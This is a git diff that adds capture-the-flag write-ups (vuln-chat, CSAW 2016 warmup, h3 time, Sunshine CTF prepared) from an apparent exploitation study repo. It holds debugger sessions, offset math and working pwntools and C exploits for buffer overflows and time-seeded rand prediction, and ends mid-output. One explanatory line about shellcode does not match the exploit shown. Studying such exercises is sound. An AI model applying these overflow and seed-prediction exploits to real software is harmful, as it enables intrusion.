───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0x1 + $ebx : 0x0 + $ecx : 0xffffd090 → 0xf7f90540 → 0xfbad2288 + $edx : 0xf7f8fe1c → 0x001eed2c + $esp : 0xffffd0b0 → 0xffffd0e3 → "%30s" + $ebp : 0xffffd0e8 → 0x00000000 + $esi : 0x1 + $edi : 0x08048470 → <_start+0> xor ebp, ebp + $eip : 0x08048639 → add esp, 0x8 + $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffd0b0│+0x0000: 0xffffd0e3 → "%30s" ← $esp + 0xffffd0b4│+0x0004: 0xffffd0bb → "987654321" + 0xffffd0b8│+0x0008: 0x39049a10 + 0xffffd0bc│+0x000c: "87654321" + 0xffffd0c0│+0x0010: "4321" + 0xffffd0c4│+0x0014: 0xffffd100 → 0xffffd134 → 0x67db6985 + 0xffffd0c8│+0x0018: 0xffffd19c → 0xffffd371 → "ALACRITTY_LOG=/tmp/Alacritty-3896966.log" + 0xffffd0cc│+0x001c: 0x31dd8c99 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + 0x8048630 lea eax, [ebp-0x5] + 0x8048633 push eax + 0x8048634 call 0x8048460 <__isoc99_scanf@plt> + ●→ 0x8048639 add esp, 0x8 + 0x804863c push 0x80487ec + 0x8048641 call 0x8048410 + 0x8048646 add esp, 0x4 + 0x8048649 mov eax, ds:0x8049a60 + 0x804864e push eax + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "vuln-chat", stopped 0x8048639 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x8048639 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +now from here we first set the breakpoint, then ran the binary, then entered the first scanf where we put the '321654987' pattern, and then entered the second scanf where we put the '987654321' pattern, and then we hit the breakpoint we set. Now we want to inspect what happened to our second text input, the pattern '987654321' so we search the pattern in the memory: + + + gef➤ search-pattern 987654321 + [+] Searching '987654321' in memory + [+] In '[heap]'(0x804a000-0x806c000), permission=rw- + 0x804a1a0 - 0x804a1ab → "987654321\n" + [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw- + 0xffffd0bb - 0xffffd0c4 → "987654321" + + + +Now we know that our second text input pattern is at **0xffffd0bb** let's search for the pattern '%30s': + + + gef➤ search-pattern %30s + [+] Searching '%30s' in memory + [+] In '/home/nothing/binexp/2/vulnchat/vuln-chat'(0x8048000-0x8049000), permission=r-x + 0x80485c1 - 0x80485c5 → "%30s[...]" + [+] In '/home/nothing/binexp/2/vulnchat/vuln-chat'(0x8049000-0x804a000), permission=rw- + 0x80495c1 - 0x80495c5 → "%30s[...]" + [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw- + 0xffffd0e3 - 0xffffd0e7 → "%30s" + + + +Now we know that the format string is stored at**0xffffd0e3** so let's see where our first input text is with the pattern 321654987: + + + gef➤ search-pattern 321654987 + [+] Searching '321654987' in memory + [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw- + 0xffffb06c - 0xffffb086 → "321654987: 654987!\nname: " + 0xffffd0cf - 0xffffd0d8 → "321654987" + + + +so now we know that our first text pattern (321654987) is located at **0xffffd0cf** so let's calculate the offset: + + + [ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex(0xffffd0e3 - 0xffffd0cf ) + '0x14' + + + +so now we know that our first input text (321654987) is 0x14 bytes (or 20 bytes) away from the format string variable value '%30s', our second input begins at **0xffffd0bb** , but we need to know where the return address is and what the offset between our second input and the return address is: + + + gef➤ x/14x 0xffffd0bb + 0xffffd0bb: 0x36373839 0x32333435 0xffd10031 0xffd19cff + 0xffffd0cb: 0xdd8c99ff 0x34333231 0x38373635 0x04860039 + 0xffffd0db: 0x00000008 0x00000100 0x73303325 0x00000000 + 0xffffd0eb: 0xdbfa0d00 0x000001f7 + + gef➤ i f + Stack level 0, frame at 0xffffd0f0: + eip = 0x8048639 in main; saved eip = 0xf7dbfa0d + Arglist at 0xffffd0e8, args: + Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0 + Saved registers: + ebp at 0xffffd0e8, eip at 0xffffd0ec + + + + +Here we see that the return address is at **0xffffd0ec** so we calculate the offset between our second input **0xffffd0bb** and the return address: + + + [ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex(0xffffd0ec - 0xffffd0bb) + '0x31' + + + +So there is exactly 31 bytes between the second input and the return address, so this is a hint that the default 30 bytes of second input will not be able to reach it, that's why the first input is there to reach the %30s value beforehand to change it. From here we can make the following exploit: + + + [ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat] + → vim exploit.py + + + + + from pwn import * + + target = process ('./vuln-chat') + + #print the initial text + print(target.recvuntil("username: ")) + + + #form the first payload to overwrite the %30s value + payload0 = b"" + payload0 += b"\x00" * 0x14 #fill up the space with 0x14 nullbytes until the %30s format string value + payload0 += b"%99s" #overwrite %30s with %99s + + #send the first payload through the first scanf + #print(payload0) + target.sendline(payload0) + + # Print the text up to the second scanf call + print(target.recvuntil("I know I can trust you?")) + + + #write the second payload to overwrite the return address with the print_flag function address + payload1 = b"" + payload1 += b"\x00" * 0x31 #fill up the space until the return address with (0x31 nullbytes) + payload1 += p32(0x804856b) #write the address of print_flag in little endian 32 bits + + #send the second payload through the second scanf + #print(payload1) + target.sendline(payload1) + + #drop into an interactive shell to view the rest of the output + target.interactive() + + + +The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode + + + [ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/vulnchat] + → python3 exploit.py + [+] Starting local process './vuln-chat': pid 2786552 + b'----------- Welcome to vuln-chat -------------\nEnter your username: ' + b"Welcome !\nConnecting to 'djinn'\n--- 'djinn' has joined your chat ---\ndjinn: I have the information. But how do I know I can trust you?" + [*] Switching to interactive mode + + : djinn: Sorry. That's not good enough + flag{g0ttem_b0yz} + Use it wisely + [*] Got EOF while reading in interactive + $ + + +And our exploit worked! We have been able to print the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/warm.md b/2/warm.md new file mode 100644 index 0000000..9d85b53 --- /dev/null +++ b/2/warm.md @@ -0,0 +1,320 @@ +# CSAW 2016 Warmup + +## Downloading the binary file: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup + --2021-02-27 11:02:37-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup [following] + --2021-02-27 11:02:38-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 8705 (8.5K) [application/octet-stream] + Saving to: ‘warmup’ + + warmup 100%[=======================================================================================================================================================================================================>] 8.50K --.-KB/s in 0.001s + + 2021-02-27 11:02:38 (7.11 MB/s) - ‘warmup’ saved [8705/8705] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → file warmup + warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → chmod +x warmup + + +` ![]() + +## Solution + +first of all let's see what we get when we run the binary file: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → ./warmup + -Warm Up- + WOW:0x40060d + >something + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → ./warmup + -Warm Up- + WOW:0x40060d + >something2 + + + +First there is some text getting displayed, we get an address '0x40060d', then we get prompted for text input and nothing after that. So let's check what the binary file looks like in ghidra: + +![](14.png) + + + void main(void) + + { + char local_88 [64]; + char local_48 [64]; + + write(1,"-Warm Up-\n",10); + write(1,&DAT;_0040074c,4); + sprintf(local_88,"%p\n",easy); + write(1,local_88,9); + write(1,&DAT;_00400755,1); + gets(local_48); + return; + } + + + +Here we see the main function disassembled code, which is rather simplistic, we also see that our input text gets put into the local_48 variable at -0x48 on the stack: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main() + undefined AL:1 + undefined1 Stack[-0x48]:1 local_48 XREF[1]: 00400692(*) + undefined1 Stack[-0x88]:1 local_88 XREF[2]: 0040064d(*), + 00400668(*) + main XREF[5]: Entry Point(*), + _start:0040053d(*), + _start:0040053d(*), 0040077c, + 00400830(*) + 0040061d 55 PUSH RBP + + + +However most importantly, we see that the address being printed is the address of the function called 'easy' at 0x40060d + +![](15.png) + +this function is supposed to print the contents of flag.txt for us. Now before that, in the main function we see that our local_48 input text variable gets passed through a 'gets' function, this is a bug because it does not limit how much data it scans in. We also see the following: + + + + void main(void) + + { + char local_88 [64]; + char local_48 [64]; + + + +our local input variable (local_48) can only hold 64 bytes of data, after we write those 64 bytes of data, we overflow the buffer and start overwriting other things in memory. With this bug we can reach the return address (the address after the ret call) and with this we want to make use of the 'easy function to print us the flag. so let's use gdb to see how much data we need to send BEFORE overwriting the return address: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → gdb warmup + + GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git + Copyright (C) 2021 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 + Reading symbols from warmup... + (No debugging symbols found in warmup) + gef➤ + gef➤ disas main + Dump of assembler code for function main: + 0x000000000040061d <+0>: push rbp + 0x000000000040061e <+1>: mov rbp,rsp + 0x0000000000400621 <+4>: add rsp,0xffffffffffffff80 + 0x0000000000400625 <+8>: mov edx,0xa + 0x000000000040062a <+13>: mov esi,0x400741 + 0x000000000040062f <+18>: mov edi,0x1 + 0x0000000000400634 <+23>: call 0x4004c0 + 0x0000000000400639 <+28>: mov edx,0x4 + 0x000000000040063e <+33>: mov esi,0x40074c + 0x0000000000400643 <+38>: mov edi,0x1 + 0x0000000000400648 <+43>: call 0x4004c0 + 0x000000000040064d <+48>: lea rax,[rbp-0x80] + 0x0000000000400651 <+52>: mov edx,0x40060d + 0x0000000000400656 <+57>: mov esi,0x400751 + 0x000000000040065b <+62>: mov rdi,rax + 0x000000000040065e <+65>: mov eax,0x0 + 0x0000000000400663 <+70>: call 0x400510 + 0x0000000000400668 <+75>: lea rax,[rbp-0x80] + 0x000000000040066c <+79>: mov edx,0x9 + 0x0000000000400671 <+84>: mov rsi,rax + 0x0000000000400674 <+87>: mov edi,0x1 + 0x0000000000400679 <+92>: call 0x4004c0 + 0x000000000040067e <+97>: mov edx,0x1 + 0x0000000000400683 <+102>: mov esi,0x400755 + 0x0000000000400688 <+107>: mov edi,0x1 + 0x000000000040068d <+112>: call 0x4004c0 + 0x0000000000400692 <+117>: lea rax,[rbp-0x40] + 0x0000000000400696 <+121>: mov rdi,rax + 0x0000000000400699 <+124>: mov eax,0x0 + 0x000000000040069e <+129>: call 0x400500 + 0x00000000004006a3 <+134>: leave + 0x00000000004006a4 <+135>: ret + gef➤ b *main +134 + Breakpoint 1 at 0x4006a3 + + +here we want the first breakpoint right before the return call at +134, then we run the binary: + + + gef➤ r + Starting program: /home/nothing/binexp/2/warmup/warmup + -Warm Up- + WOW:0x40060d + >13371337 + + Breakpoint 1, 0x00000000004006a3 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x00007fffffffe0b0 → "13371337" + $rbx : 0x0 + $rcx : 0x00007ffff7fac980 → 0x00000000fbad2288 + $rdx : 0x0 + $rsp : 0x00007fffffffe070 → "0x40060d\n" + $rbp : 0x00007fffffffe0f0 → 0x00000000004006b0 → <__libc_csu_init+0> push r15 + $rsi : 0x31373333 + $rdi : 0x00007ffff7faf680 → 0x0000000000000000 + $rip : 0x00000000004006a3 → leave + $r8 : 0x00007fffffffe0b0 → "13371337" + $r9 : 0x0 + $r10 : 0x6e + $r11 : 0x246 + $r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe070│+0x0000: "0x40060d\n" ← $rsp + 0x00007fffffffe078│+0x0008: 0x000000000000000a + 0x00007fffffffe080│+0x0010: 0x0000000000000000 + 0x00007fffffffe088│+0x0018: 0x0000000000000000 + 0x00007fffffffe090│+0x0020: 0x0000000000000000 + 0x00007fffffffe098│+0x0028: 0x0000000000000000 + 0x00007fffffffe0a0│+0x0030: 0x0000000000000000 + 0x00007fffffffe0a8│+0x0038: 0x00000000000000c2 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400694 rex.RB ror BYTE PTR [r8-0x77], 0xc7 + 0x400699 mov eax, 0x0 + 0x40069e call 0x400500 + → 0x4006a3 leave + 0x4006a4 ret + 0x4006a5 nop WORD PTR cs:[rax+rax*1+0x0] + 0x4006af nop + 0x4006b0 <__libc_csu_init+0> push r15 + 0x4006b2 <__libc_csu_init+2> mov r15d, edi + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4006a3 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + +We gave it a simple pattern '13371337' so now we search for that pattern: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[heap]'(0x602000-0x623000), permission=rw- + 0x6022a0 - 0x6022aa → "13371337\n" + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + **0x7fffffffe0b0** - 0x7fffffffe0b8 → "13371337" + + gef➤ i f + Stack level 0, frame at 0x7fffffffe100: + rip = 0x4006a3 in main; saved rip = 0x7ffff7e14d0a + Arglist at 0x7fffffffe0f0, args: + Locals at 0x7fffffffe0f0, Previous frame's sp is 0x7fffffffe100 + Saved registers: + rbp at 0x7fffffffe0f0, rip at **0x7fffffffe0f8** + + + +Now let's calculate the offset: + + + >>> hex(0x7fffffffe0f8 - 0x7fffffffe0b0) + '0x48' + + +So now we know that after 0x48 bytes of input, we start overwriting the return address, so we can write the following exploit: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup] + → vim exploit.py + + + + + from pwn import * + + target = process('./warmup') + + # Make the payload + payload = b"" + payload += b"0"*0x48 # Overflow the buffer up to the return address + payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function + + # Send the payload + target.sendline(payload) + + target.interactive() + + + +Then run it: + + + [ 192.168.100.126/24 ] [ /dev/pts/3 ] [binexp/2/warmup] + → python3 exploit.py + [+] Starting local process './warmup': pid 78458 + [*] Switching to interactive mode + -Warm Up- + WOW:0x40060d + >flag{g0ttem_b0yz} + [*] Got EOF while reading in interactive + $ exit + [*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 78458) + [*] Got EOF while sending in interactive + + +and we got the flag ! + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/3/0.md b/3/0.md new file mode 100644 index 0000000..bd2c701 --- /dev/null +++ b/3/0.md @@ -0,0 +1,84 @@ +# Binary Exploitation + +## Downloading the binary file + + + + +` ![]() + +## Solution + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/3/0.png b/3/0.png new file mode 100644 index 0000000..e6e8bc3 Binary files /dev/null and b/3/0.png differ diff --git a/3/1.png b/3/1.png new file mode 100644 index 0000000..82cf4d1 Binary files /dev/null and b/3/1.png differ diff --git a/3/2.png b/3/2.png new file mode 100644 index 0000000..26b5ab3 Binary files /dev/null and b/3/2.png differ diff --git a/3/h3.md b/3/h3.md new file mode 100644 index 0000000..2991301 --- /dev/null +++ b/3/h3.md @@ -0,0 +1,219 @@ +# h3 time + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/h3_time/time + --2021-03-07 12:51:05-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/h3_time/time + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/h3_time/time [following] + --2021-03-07 12:51:05-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/h3_time/time + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 8864 (8.7K) [application/octet-stream] + Saving to: ‘time’ + + time 100%[================================================================>] 8.66K --.-KB/s in 0.006s + + 2021-03-07 12:51:06 (1.41 MB/s) - ‘time’ saved [8864/8864] + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → file time + time: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4972fe3e2914c74bc97f0623f0c4643c40300dab, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → chmod +x time + + + +` ![]() + +## Solution + +First let's take a look at the binary with pwn checksec as well as running it: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → pwn checksec time; ./time + [*] '/home/nothing/binexp/3/time/time' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x400000) + Welcome to the number guessing game! + I'm thinking of a number. Can you guess it? + Guess right and you get a flag! + Enter your number: 1234 + Your guess was 1234. + Looking for 34981616. + Sorry. Try again, wrong guess! + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → ./time + Welcome to the number guessing game! + I'm thinking of a number. Can you guess it? + Guess right and you get a flag! + Enter your number: 4321 + Your guess was 4321. + Looking for 994945792. + Sorry. Try again, wrong guess! + + + + +So here we see that we have a 64bit binary. When we run it, it prompts us to guess a number. Let's check what ghidra finds on that binary: + + + undefined8 main(void) + + { + time_t tVar1; + long in_FS_OFFSET; + uint local_18; + uint local_14; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + tVar1 = time((time_t *)0x0); + srand((uint)tVar1); + local_14 = rand(); + puts("Welcome to the number guessing game!"); + puts("I\'m thinking of a number. Can you guess it?"); + puts("Guess right and you get a flag!"); + printf("Enter your number: "); + fflush(stdout); + __isoc99_scanf(&DAT;_00400bbc,&local;_18); + printf("Your guess was %u.\n",(ulong)local_18); + printf("Looking for %u.\n",(ulong)local_14); + fflush(stdout); + if (local_14 == local_18) { + puts("You won. Guess was right! Here\'s your flag:"); + giveFlag(); + } + else { + puts("Sorry. Try again, wrong guess!"); + } + fflush(stdout); + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; + } + + + +Here we see something interesting, first of all the **rand** function which should give a random number, as well as the scanf call with the %u format string stored in local_18. Basically the main function creates a random number, then prompts us for some number to store into local_18, and then it checks if the 2 numbers are the same. If they are we enter the giveFlag function: + + + void giveFlag(void) + + { + FILE *__stream; + long in_FS_OFFSET; + char local_118 [264]; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + memset(local_118,0,0x100); + __stream = fopen("/home/h3/flag.txt","r"); + if (__stream == (FILE *)0x0) { + puts("Flag file not found! Contact an H3 admin for assistance."); + } + else { + fgets(local_118,0x100,__stream); + fclose(__stream); + puts(local_118); + } + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return; + } + + + +Here we see that this function reads and prints out the flag file from **/home/h3/flag.txt** What we need to figure out is what the output of the **rand** function will be. Thing is, the output of the ran dunction is not actually random. The output is based off a value called a 'seed' which it uses to determine what number sequence to generate. SO if we can get the same seed, we can get **rand** to generate the same sequence of numbers. Looking at the decompiled code, we see the following: + + + tVar1 = time((time_t *)0x0); + srand((uint)tVar1); + + + +Here we see tVar1 gets the current time as a seed, therefore we can write a C program that uses the current time as a seed, and output a digit and redirect the output to the target: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → vim exploit.c + + + + + #include<****stdio.h> + #include <****time.h> + #include <****stdlib.h> + #include <****stdint.h> + #include <****string.h> + + int main() + { + uint32_t rand_num; + srand(time(0)); //seed with current time + rand_num = rand(); + uint32_t ans; + printf("%d\n", rand_num); + } + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → gcc exploit.c -o exploit + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → ./exploit + 1779237112 + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → ./exploit + 1476399991 + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time] + → ./exploit | ./time + Welcome to the number guessing game! + I'm thinking of a number. Can you guess it? + Guess right and you get a flag! + Enter your number: Your guess was 1333337650. + Looking for 1333337650. + You won. Guess was right! Here's your flag: + ${g0tt3m_boyz} + + + +And that's it ! We managed to print the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/3/prep.md b/3/prep.md new file mode 100644 index 0000000..17edb98 --- /dev/null +++ b/3/prep.md @@ -0,0 +1,301 @@ +# Sunshine CTF 2017 Prepared + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/sunshinectf17_prepared/prepared + --2021-03-07 13:57:41-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/sunshinectf17_prepared/prepared + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/sunshinectf17_prepared/prepared [following] + --2021-03-07 13:57:41-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/sunshinectf17_prepared/prepared + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 12888 (13K) [application/octet-stream] + Saving to: ‘prepared’ + + prepared 100%[================================================================>] 12.59K --.-KB/s in 0.001s + + 2021-03-07 13:57:42 (16.2 MB/s) - ‘prepared’ saved [12888/12888] + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → file prepared + prepared: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9cd9483ed0e7707d3addd2de44da60d2575652fb, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → chmod +x prepared + + + +` ![]() + +## Solution + +So let's first run pwn checksec on the binary before executing it to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → pwn checksec prepared + [*] '/home/nothing/binexp/3/prep/prepared' + Arch: amd64-64-little + RELRO: Full RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → ./prepared + 0 days without an incident. + 123 + Well that didn't take long. + You should have used 63. + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → ./prepared + 0 days without an incident. + 63 + Well that didn't take long. + You should have used 67. + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → ./prepared + 0 days without an incident. + 67 + Well that didn't take long. + You should have used 24. + + + +Here we see that this is a 64 bit binary with everything enabled (full relro, canary, nx and pie). It prompts us for input to make us guess a random number, let's take a look at it in ghidra: + +![](2.png) + +And here we get the following code for the main function: + + + undefined8 main(void) + + { + int iVar1; + time_t tVar2; + FILE *__stream; + char *pcVar3; + long in_FS_OFFSET; + uint local_464; + char local_448 [64]; + char local_408 [512]; + char local_208 [504]; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + tVar2 = time((time_t *)0x0); + srand((uint)tVar2); + local_464 = 0; + while ((int)local_464 < 0x32) { + iVar1 = rand(); + printf("%d days without an incident.\n",(ulong)local_464); + sprintf(local_208,"%d",(ulong)(uint)(iVar1 % 100)); + __isoc99_scanf(" %10s",local_408); + strtok(local_408,"\n"); + iVar1 = strcmp(local_208,local_408); + if (iVar1 != 0) { + puts("Well that didn\'t take long."); + printf("You should have used %s.\n",local_208); + /* WARNING: Subroutine does not return */ + exit(0); + } + local_464 = local_464 + 1; + } + puts("How very unpredictable. Level Cleared"); + __stream = fopen("flag.txt","r"); + while( true ) { + pcVar3 = fgets(local_448,0x32,__stream); + if (pcVar3 == (char *)0x0) break; + printf("%s",local_448); + } + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; + } + + +Just like in the previous 2 challenges, time is declared as a seed with the srand function, and then it uses **rand** to generate values that are modded by 100 (value%100), and we have to guess it in a loop 50 times, So in order to guess the rand number 50 times in a row, this is based off of the seed, and since the seed is simply the current time, we can write a simple C program to get the seed and generate the numbers it expects: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → vim exploit.c + + + + + ****#include <****stdio.h> + #include <****stdlib.h> + #include <****time.h> + #include <****string.h> + + int main(void) + { + int i, out; + time_t var0 = time(NULL); + srand(var0); + + for (i = 0; i < 50; i++) + { + out = rand() % 100; + printf("%d\n", out); + } + + return 0; + } + + + +Here we compile it with gcc: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → gcc exploit.c -o exploit + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → ./exploit + 83 + 93 + 92 + 55 + 70 + 63 + 4 + 64 + 54 + 21 + 87 + 42 + 77 + 17 + 74 + 86 + 57 + 18 + 72 + 7 + 52 + 76 + 46 + 78 + 81 + 83 + 19 + 55 + 20 + 14 + 21 + 55 + 59 + 13 + 10 + 81 + 76 + 67 + 46 + 83 + 88 + 33 + 77 + 17 + 2 + 3 + 4 + 59 + 